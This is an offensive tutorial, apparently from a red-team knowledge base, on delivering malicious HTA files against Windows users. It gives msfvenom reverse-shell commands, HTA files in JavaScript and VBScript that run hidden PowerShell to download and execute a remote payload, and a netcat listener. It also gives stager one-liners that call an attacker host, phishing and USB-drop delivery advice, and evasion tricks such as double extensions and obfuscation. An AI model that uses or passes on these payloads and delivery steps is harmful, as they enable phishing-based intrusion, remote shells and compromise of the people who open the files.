Type: Malicious Documents & File-Based Delivery
Platform: Windows
Prerequisites: User must execute the .hta file manually (typically via phishing, USB drop, or drive-by); Windows Script Host must be enabled (enabled by default)
HTA (HTML Application) files are Microsoft-specific executable HTML files (.hta) designed to run as full-trust desktop applications via mshta.exe. Unlike regular .html files, HTAs can access Windows Scripting Host (WSH), run system commands, interact with the file system, and spawn processes, making them ideal for malware delivery.
HTA files are commonly used by attackers for initial access, especially when paired with phishing emails, infected USB drops, or HTML smuggling. Since they are executed by mshta.exe, a signed Microsoft binary, HTA files can bypass some AV/EDR detection, and run without macros or UAC prompts.
- Attacker creates an
.htafile with embedded VBScript, JavaScript, or both. - The file is sent or dropped to the target system.
- When the user opens it,
mshta.exeexecutes the embedded script. - The script downloads and executes a second-stage payload or runs a reverse shell.
HTA execution is native to Windows (since XP) and doesn’t require any third-party tools or permissions.
Tools Needed
- Text editor (VS Code, Notepad++) or script generator
- Optional:
msfvenom, PowerShell, ( for creating the second stage payload ) - Optional: Web server or hosting service
- Create a Reverse Shell Payload (optional)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exeor
msfvenom -p windows/powershell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f psh -o shell.ps1Host it using:
python3 -m http.server 80- Create a Malicious
.htaFile
create a .hta file with embedded JavaScript that runs system commands
<html>
<head>
<script>
var r = new ActiveXObject("WScript.Shell");
r.Run("powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1/payload.ps1')");
</script>
</head>
<body>
</body>
</html>Or use VBScript:
<html>
<head>
<HTA:APPLICATION ID="test"/>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1/payload.ps1')"
</script>
</head>
<body>
</body>
</html>- Deliver the
.htaFile
- Send via email as an attachment (e.g.,
invoice.hta) - Upload to file-sharing services (Google Drive, Dropbox)
- Drop on USB devices or shared drives
- Set Up Listener
- make sure the listener is up and running ( listening for incoming connection ) e.g:
nc -nlvp 9001- Execution
- When the user clicks the
.htafile,mshta.exewill render the the HTML page ( JavaScript/VBScript ) and the embedded command will runs silently and retrieves our payload, resulting in a reverse shell being established.
- PowerShell One-Liner Stager
powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.site/shell.ps1')- mshta Command Execution
mshta.exe http://attacker.site/payload.htaHTAs can be executed remotely by calling a hosted file using
mshta.exe.
- JavaScript to execute system commands
<script>
var r = new ActiveXObject("WScript.Shell");
r.Run("calc.exe");
</script>- VBScript to execute system commands
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
</script>- HTA tags ( configure the window and behavior of the application. )
<html>
<head>
<HTA:APPLICATION
ID="CarCatalog"
APPLICATIONNAME="CarCatalog"
BORDER="thin"
CAPTION="yes"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
WINDOWSTATE="normal"
SCROLL="yes" >
</head>
</html>- Use HTAs with obfuscated script (e.g., base64, JSFuck, or MacroPack)
- Combine with HTML Smuggling for stealth delivery
- Use .hta file extensions disguised as .pdf.hta, .doc.hta
- Some AVs may flag .hta, so host the payload as .txt or obfuscate the server path ( when using `mshta.exe ')
- LOLBAS: mshta.exe
- Mshta | Red Canary Threat Detection Report
- MITRE ATT&CK – T1218.005 (Signed Binary Proxy Execution: mshta.exe)
- Creating a Malicious HTML Document
- HTML Application (.HTA) files are being used to distribute Smoke Loader
- How .HTA Files Can be used for initial access YOUTUBE
Author : o-sec



